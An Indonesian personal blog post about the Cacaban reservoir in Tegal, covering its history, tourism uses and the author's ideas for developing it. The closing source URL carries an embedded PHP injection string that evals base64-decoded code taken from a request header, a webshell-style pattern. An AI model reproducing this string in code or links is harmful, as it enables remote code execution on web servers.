Kamis, 04 April 2013

Waduk Cacaban



Waduk Cacaban merupakan salah satu obyek wisata di kabupaten Tegal, terletak di desa Karanganyar kecamatan Kedungbanteng. Bendungan yang diresmikan oleh Presiden Soekarno pada tahun 1952 itu fungsi utamanya adalah sebagai sumber pengairan sawah-sawah disekitarnya. Selain fungsi utama tersebut, Waduk Cacaban juga difungsikan sebagai obyek wisata, dimana wisatawan dapat menikmati suasana santai dengan jalan-jalan di atas bendungan, memancing ikan, ataupun dapat mengelilingi waduk dengan perahu motor. Selain itu wisatawan juga bisa menikmati makanan khas ikan air tawar dari yang dijual oleh warga sekitar.


Sebagai salah satu obyek wisata andalan kabupaten Tegal, ternyata Waduk Cacaban belum tergarap secara maksimal, berbeda dengan obyek wisata Guci yang nampaknya lebih diperhatikan oleh otoritas wisata setempat. Sebenarnya Waduk Cacaban sangat potensial sekali untuk dijadikan pilihan wisata bagi masyarakat dan merupakan sumber Pendapatan Asli Daerah yang masih masih bisa dikembangkan. Pengembangan obyek wisata ini harus didukung oleh semua komponen, yakni Dinas Pariwisata, pemerintah Kecamatan/Desa, masyarakat sekitar dan Investor. Komponen terakhir inilah (baca: Investor) yang sepertinya kurang diajak untuk bersama-sama mengembangan potensi wisata Waduk Cacaban ini.

Untuk menjadi wisata primadona bagi masyarakat, beberapa upaya yang bisa dilakukan untuk mengenbangkan obyek wisata Waduk Cacaban diantaranya:

Peningkatan kulitas dan kuantitas sarana prasa pendukung, seperti: jalan menuju lokasi yang baik, lebar dan beraspal mulus, lahan parkir yang memadai, penginapan(hotel/villa) yang representatif, panggung hiburan yang menarik.
Pengembangan paket wisata unggulan, selain pemandangan cantik obyek Waduk Cacaban, paket wisata lain di obyek ini juga perlu dikembangkan seperti: permainan air(misal: jet ski, banan boat, kano, perahu tradisional dll), arena perkemahan dan outbond(misal: flying fox, marine bridge dll), wisata agro (misal: kebun buah petik sendiri), kebun binatang mini, arena bermain anak-anak dan lain lain.

Pembangunan tempat makan yang nyaman dan khas, serta pembuatan sentra pusat oleh-oleh khas Tegal berupa makanan, jajanan, dan kerajinan.

Peningkatan kulitas pelayanan dan SDM pengelola obyek wisata, profesionalitas, keramahan dan penguasaan bahasa asing sangat dibutuhkan untuk menjadikan Waduk Cacaban sebagai obyek wisata unggulan Tegal, bahkan Indonesia.
Pemasaran yang menarik dan kontinyu, pemasaran obyek wisata ini bisa melalui pameran-pameran, iklan media cetak dan elaktronik, pembuatan website pariwisata, penyelanggaraan festival budaya dan olahraga di obyek wisata, studi banding ke daerah lain (misal tetangga kita Purbalingga yang dengan potensi wisata yang sedikit tapi dengan pengemasan paket-paket wisata yang menarik, sekarang tingkat kunjunagn wisatanya meningkat tajam).

Demikian sedikit opini dari saya sebagai warga Tegal, yang menginginkan Tegal yang lebih baik, Laka-laka, Ngangeni lan mbetahi. Semoga suatu saat bisa terwujud.


Sumber:
http://waroengtegal.org/2009/10/17/waduk-cacaban-potensi-wisata-tegal-yang-belum-tergarap-maksimal/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-2400
17 Oktober 2009